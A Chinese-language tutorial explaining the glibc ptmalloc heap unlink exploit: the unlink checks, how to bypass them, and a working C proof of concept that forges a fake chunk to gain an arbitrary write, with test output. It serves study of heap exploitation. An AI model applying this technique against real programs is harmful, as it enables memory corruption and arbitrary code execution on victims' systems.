ptmalloc heap unlink exploit

概述

Heap unlink exploit 

前提是要對ptmalloc堆有一定的瞭解。

Unlink

Unlink:用來將一個雙向 bin 鏈表中的一個 chunk 取出來

參數:

AVarena header(malloc_state)

P :將要unlinkchunk

BKP後面的chunk    <--

FDP前面的chunk    -->

具體過程如下:

chunkFD/BK鏈表中摘除;

如果是large chunk,則將chunkfd_nextsize/bk_nextsize鏈表中摘除

 

安全檢查

對於samll chunk,只有前兩項檢查;

對於large chunk,還有第三項檢查;

檢查項

說明

corrupted size vs. prev_size

Chunk size是否一致

Glibc-2.26開始增加此檢查;

 

對於free chunk,有兩個地方存放了chunk的大小:

一個是本chunksize字段;

一個是nextchunkprev_size字段;

corrupted double-linked list

鏈表指針是否一致

什麼時候增加的此檢查?

 

檢查這兩個條件:

P->fd->bk == P

P->bk->fd == P

corrupted double-linked list

 (not small)

Large chunk鏈表是否一致

 

檢查這兩個條件:

P->fd_nextsize->bk_nextsize == P

P->bk_nextsize->fd_nextsize == P

 

Glibc-2.26中的相關代碼如下:

 


 classic unlink exploit

1. Unlink主要的操作是將chunk PFD/BK鏈表中刪除:

FD = P->fd;               

BK = P->bk;               

FD->bk = BK;              

BK->fd = FD;              

 更簡單的描述,就是執行下面兩條語句:

P->fd->bk = P->bk

P->bk->fd = P->fd

 最初的時候,沒有安全檢查;

 2. 溢出修改Chunk P

設置P->fd = A

設置P->bk = B

3. unlink P時會這樣執行:

設置*(A+3*U) = B

設置*(B+2*U) = A

其中U = sizeof(void*)

4. 可以通過 unlink 實現任意地址寫

AB都是用戶控制的地址

A+3*U的位置寫入了B

B+2*U的位置寫入了A

這裏隱含的條件是A+3*PB+2*P必須是可寫的地址;

而且一次會修改兩個位置,這意味着如果只想修改一個地方的話,會有副作用。

5. 應用場景:

改寫got表項,最終造成任意代碼執行

當前的unlink

1. Unlink的安全檢查

對於small chunkunlink有兩個安全檢查需要繞過:

l 大小檢查

chunksize(P) == prev_size (next_chunk(P))

l FD/BK鏈表檢查:

P->fd->bk == P

P->bk->fd == P

 

2. 繞過安全檢查

假設溢出時這樣修改Chunk P

設置P->fd = A

設置P->bk = B

unlink P時,FD/BK鏈表檢查要求:

*(A+3*U) == P //找到一個地址,+3*U的地方存儲的是P

*(B+2*U) == P //找到一個地址,+2*U的地方存儲的是P

 

3. 產生的結果

如果繞過了這個檢查,則會產生這樣的效果:

P->fd->bk = P->bk //賦值

=> *(A+3*U) = B //A+3*U地址處的值從P改爲了B

 

P->bk->fd = P->fd //賦值

=> *(B+2*U) = A //B+2*U地址處的值從P改爲了A

unlink exploit實例

本實例來自https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit.html

測試環境爲Ubuntu 16.04

#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
};

int main() {
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];

// First grab two chunks (non fast)
chunk1 = malloc(0x80);
chunk2 = malloc(0x80);
printf("%p\n", &chunk1);
printf("%p\n", chunk1);
printf("%p\n", chunk2);

// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header

// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x80; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit

// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("%p\n", chunk1);
printf("%x\n", chunk1[3]);

chunk1[3] = (unsigned long long)data;

strcpy(data, "Victim's data");

// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;

printf("%s\n", data);

return 0;
}

【程序說明】

Ø 首先分配了兩個small chunk(chunk1 chunk2),大小爲0x80

Ø 這裏假設攻擊者可以控制chunk1的內容(通過不安全的函數如strcpy等);

程序在chunk1的數據部分創建了一個假的chunk,繞過了FD/BK鏈表檢查:

 

unsigned long long *chunk1;

struct chunk_structure *fake_chunk;

fake_chunk = (struct chunk_structure *)chunk1;

fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3);

// Ensures P->fd->bk == P

fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2);

// Ensures P->bk->fd == P

 

chunk1指針本身位於棧中。

因此,我們找到了一個地址(&chunk1),存放的是chunk1

爲了滿足FD/BK鏈表條件:

*(A+3*U) == P //找到一個地址,+3*U的地方存儲的是P

*(B+2*U) == P //找到一個地址,+2*U的地方存儲的是P

 

A(FD)B(BK)可以這樣設置:

A=&chunk1-3*U

B=&chunk1-2*U

Ø 溢出修改chunk2的頭部,設置prev_size字段,清除size字段的prev_in_use比特。這可以確保chunk2被釋放時,fake chunk被檢測到已經被釋放(freed),將被unlink

Ø 內存佈局如下圖

 

Ø free(chunk2);

釋放chunk2時,會和低地址的fake chunk合併,合併之前,攻擊者的fake chunk會被unlink

 

unlink會執行以下操作:

P->fd->bk = P->bk //賦值

=> *(A+3*U) = B //A+3*U地址處的值從P改爲了B

 

P->bk->fd = P->fd //賦值

=> *(B+2*U) = A //B+2*U地址處的值從P改爲了A

 

在這裏的效果,就是:

*(&chunk1) = &chunk1-2*U

*(&chunk1) = &chunk1-3*U

也就是chunk1指針現在被修改爲了&chunk1-3*U

Chunk1[3] == chunk1 == &chunk1-3*U

內存分佈如下:

 

Ø 攻擊驗證

現在我們修改chunk1[3]的值,就可以修改chunk1指針

這裏將chunk1修改爲data,修改chunk1的值就是修改data的值

chunk1[3] = (unsigned long long)data;

strcpy(data, "Victim's data");

// Overwrite victim's data using chunk1

chunk1[0] = 0x002164656b636168LL;

printf("%s\n", data);

 

Ø 測試結果

millionsky@ubuntu-16:~/tmp/unlink$ ./a.out

0x7ffe9f7bce40

&chunk2=0x7ffe9f7bce48, &fake_chunk=0x7ffe9f7bce50, &chunk2_hdr=0x7ffe9f7bce58, data=0x7ffe9f7bce60

0x13bb010

0x13bb0a0

0x7ffe9f7bce28

0x7ffe9f7bce28

hacked!

附件

結論

1. Unlink fd/bk鏈表檢查

P->fd->bk = P->bk

P->bk->fd = P->fd

 

2. Unlink exploit

假設溢出時這樣修改Chunk P

設置P->fd = A

設置P->bk = B

unlink P時,FD/BK鏈表檢查要求:

*(A+3*U) == P //找到一個地址,+3*U的地方存儲的是P

*(B+2*U) == P //找到一個地址,+2*U的地方存儲的是P

 

如果繞過了這個檢查,則會產生這樣的效果:

P->fd->bk = P->bk //賦值

=> *(A+3*U) = B //A+3*U地址處的值從P改爲了B

 

P->bk->fd = P->fd //賦值

=> *(B+2*U) = A //B+2*U地址處的值從P改爲了A

 

3. 一個unlink exploit實例

//unlinkchunk地址存儲在棧上

unsigned long long *chunk1;

 

因此,我們找到了一個棧地址(&chunk1),存放的是chunk1

A(FD)B(BK)這樣設置,可以繞過FD/BK鏈表檢查:

A=&chunk1-3*U

B=&chunk1-2*U

unlink chunk1後:

*(&chunk1) = &chunk1-2*U

*(&chunk1) = &chunk1-3*U

也就是chunk1指針現在被修改爲了&chunk1-3*U

Chunk1[3] == chunk1 == &chunk1-3*U

參考文章

1. https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit.html

2. https://ctf-wiki.github.io/ctf-wiki/pwn/heap/unlink/

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章